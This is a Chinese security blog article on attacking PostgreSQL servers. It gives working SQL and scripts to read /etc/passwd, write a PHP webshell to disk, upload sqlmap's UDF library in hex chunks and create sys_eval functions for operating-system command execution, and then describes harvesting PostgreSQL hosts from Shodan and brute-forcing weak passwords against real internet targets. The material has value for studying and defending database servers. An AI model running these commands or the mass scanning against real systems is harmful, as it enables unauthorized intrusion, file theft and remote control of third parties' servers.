前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >针对 PostgreSQL 数据库的攻击研究

针对 PostgreSQL 数据库的攻击研究

作者头像
信安之路
发布2025-01-07 14:06:18
发布2025-01-07 14:06:18
8400
代码可运行
举报
文章被收录于专栏:信安之路信安之路
运行总次数:0
代码可运行

PostgreSQL 是开源的对象-关系数据库数据库管理系统,在类似 BSD 许可与 MIT 许可的 PostgreSQL 许可下发行。

1、本地安装部署 PostgreSQL

测试服务为 centos,参考文档:https://www.postgresql.org/download/linux/redhat/,选择对应版本,安装命令(测试环境以 12 版本为例):

代码语言:javascript
代码运行次数:0
复制
sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-9-x86_64/pgdg-redhat-repo-latest.noarch.rpm
sudo dnf -qy module disable postgresql
sudo dnf install -y postgresql12-server
sudo /usr/pgsql-12/bin/postgresql-12-setup initdb
sudo systemctl enable postgresql-12
sudo systemctl start postgresql-12

数据库安装好之后,需要修改数据库的密码才可以远程登录数据库:

代码语言:javascript
代码运行次数:0
复制
service postgresql start  #启动服务
su postgres         #切换到数据库用户下
psql  postgres        #进入数据库
alter user postgres with password 'postgres';   #修改数据库的密码为:postgres

默认情况下,是无法远程连接的,需要进行进一步的配置,修改 /var/lib/pgsql/12/data/目录下的 pg_hba.conf,添加来源 IP 的允许范围,如图:

然后修改 postgresql.conf 的 listen_addresses 的值为 *,如图:

然后重启服务:

systemctl restart postgresql-12

到这里就可以通过远程连接数据库,从配置上说,外网开放的数据库,因为需要配置,并非默认可以访问,所以即使存在弱口令,也不一定可以连接。

2、利用 PostgreSQL 特性读写文件
读取系统文件:

方法一 直接读取:

代码语言:javascript
代码运行次数:0
复制
select pg_read_file('/etc/passwd', 0, 200);

方法二 间接读取:

代码语言:javascript
代码运行次数:0
复制
CREATE TABLE pwn(t TEXT);
COPY pwn FROM '/etc/passwd';
SELECT * FROM pwn;
DROP table pwn;
写文件

当我们知道 web 目录真实路径时,可以使用这个方法写 webshell。

方法一:

代码语言:javascript
代码运行次数:0
复制
CREATE TABLE pwn (t TEXT);
INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');
SELECT * FROM pwn;
COPY pwn(t) TO '/tmp/cmd.php';
DROP TABLE pwn;

方法二:

代码语言:javascript
代码运行次数:0
复制
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
3、利用 PostgreSQL 特性执行系统命令

执行系统命令需要用到udf库,下面测试一下。查询 postgresql 的数据库版本:

代码语言:javascript
代码运行次数:0
复制
select version();

第一步:根据数据库版本,获取 udf 二进制文件,在 sqlmap 的 data 目录下有对应的库文件:

找适合目标版本的库文件,使用 sqlmap 的解码工具解码:

python extra\cloak\cloak.py -d -i data\udf\postgresql\linux\64\12\lib_postgresqludf_sys.so_

第二步:上传获取到的 lib_postgresqludf_sys.so 上传到服务器,将库文件转为 hex,转换小脚本如下:

代码语言:javascript
代码运行次数:0
复制
#~/usr/bin/env python2.7
#-*- coding: utf-8 -*-

import sys


if __name__=="__main__":
   if len(sys.argv) != 2:
       print "Usage: python " + sys.argv[0] + " inputfile"
       sys.exit()
   fileobj = open(sys.argv[1], 'rb')
   for b in fileobj.read():
       sys.stdout.write(r'{:02x}'.format(ord(b)))
   fileobj.close()

将以上代码保存为 bin2hex.py,然后使用如下命令转换:

python bin2hex.py lib_postgresqludf_sys.so

上传,将上面得到的 hex 值传入下面的语句中执行:

代码语言:javascript
代码运行次数:0
复制
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('7f454c4....', 'hex'));
SELECT lo_export(19074, '/tmp/test.so');

直接将所有内容全部写入可能会报错,我这里没有报错,但是在导出的时候报错了,如图:

接下来尝试另外一种,我们可以把数据分段,稍微修改一下代码,如下:

代码语言:javascript
代码运行次数:0
复制
#~/usr/bin/env python2.7
#-*- coding: utf-8 -*-

import sys


if __name__=="__main__":
   if len(sys.argv) != 2:
       print "Usage: python " + sys.argv[0] + " inputfile"
       sys.exit()
   fileobj = open(sys.argv[1], 'rb')
   i = 0
   num = 0
   sys.stdout.write("INSERT INTO pg_largeobject VALUES (12345, 0, decode('")
   for b in fileobj.read():
       sys.stdout.write(r'{:02x}'.format(ord(b)))
       i = i + 1
       
       if i % 2048 == 0:
           num = num + 1
           sys.stdout.write(r"', 'hex'));\nINSERT INTO pg_largeobject VALUES (12345, "+str(num)+", decode('")
   print "', 'hex'));"
   fileobj.close()

这样分成多个段进行写入,就可以成功写入,使用如下命令:

代码语言:javascript
代码运行次数:0
复制
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('hex01', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('hex02', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('hex03', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('hex04', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 4, decode('hex05', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 5, decode('hex06', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 6, decode('hex07', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);

成功执行后,创建 Postgresql 功能

代码语言:javascript
代码运行次数:0
复制
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/test.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;    # 无回显

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;   # 可回显

然后执行系统命令:

代码语言:javascript
代码运行次数:0
复制
select sys_eval('whoami');

如果是低版本,也就是版本低于 8.2 以下,直接调用 lib/libc.so.6 或者是 /lib64/libc.so.6 就可以执行命令了:

代码语言:javascript
代码运行次数:0
复制
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;

执行命令方式:

代码语言:javascript
代码运行次数:0
复制
select system('id');
4、外网环境下收集目标并检测和利用
第一步:使用 shadon 去收集 postgresql 目标

搜索下载的命令:

shodan download --limit 1000000 postgresql.txt product:"PostgreSQL"

第二步:使用弱口令扫描器扫描

我用的还是 PortBruteWin,命令如下:

PortBruteWin.exe -f postgreip.txt -u user.txt -p pass.txt

为了提升速度和准确度,只扫描账号密码均为 postgres 的目。

第三步:针对存在弱口令的目标进行测试

使用 psql 客户端连接目标,先查询目标版本信息:

代码语言:javascript
代码运行次数:0
复制
select version();

尝试了多个目标均报错,无法执行命令,可能是因为,配置是对于来源 IP 不可信,无法进一步操作。这个数据库在内网可能成为一个不错的突破口。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-01-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、本地安装部署 PostgreSQL
  • 2、利用 PostgreSQL 特性读写文件
    • 读取系统文件:
    • 写文件
  • 3、利用 PostgreSQL 特性执行系统命令
  • 4、外网环境下收集目标并检测和利用
    • 第一步:使用 shadon 去收集 postgresql 目标
    • 第二步:使用弱口令扫描器扫描
    • 第三步:针对存在弱口令的目标进行测试
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档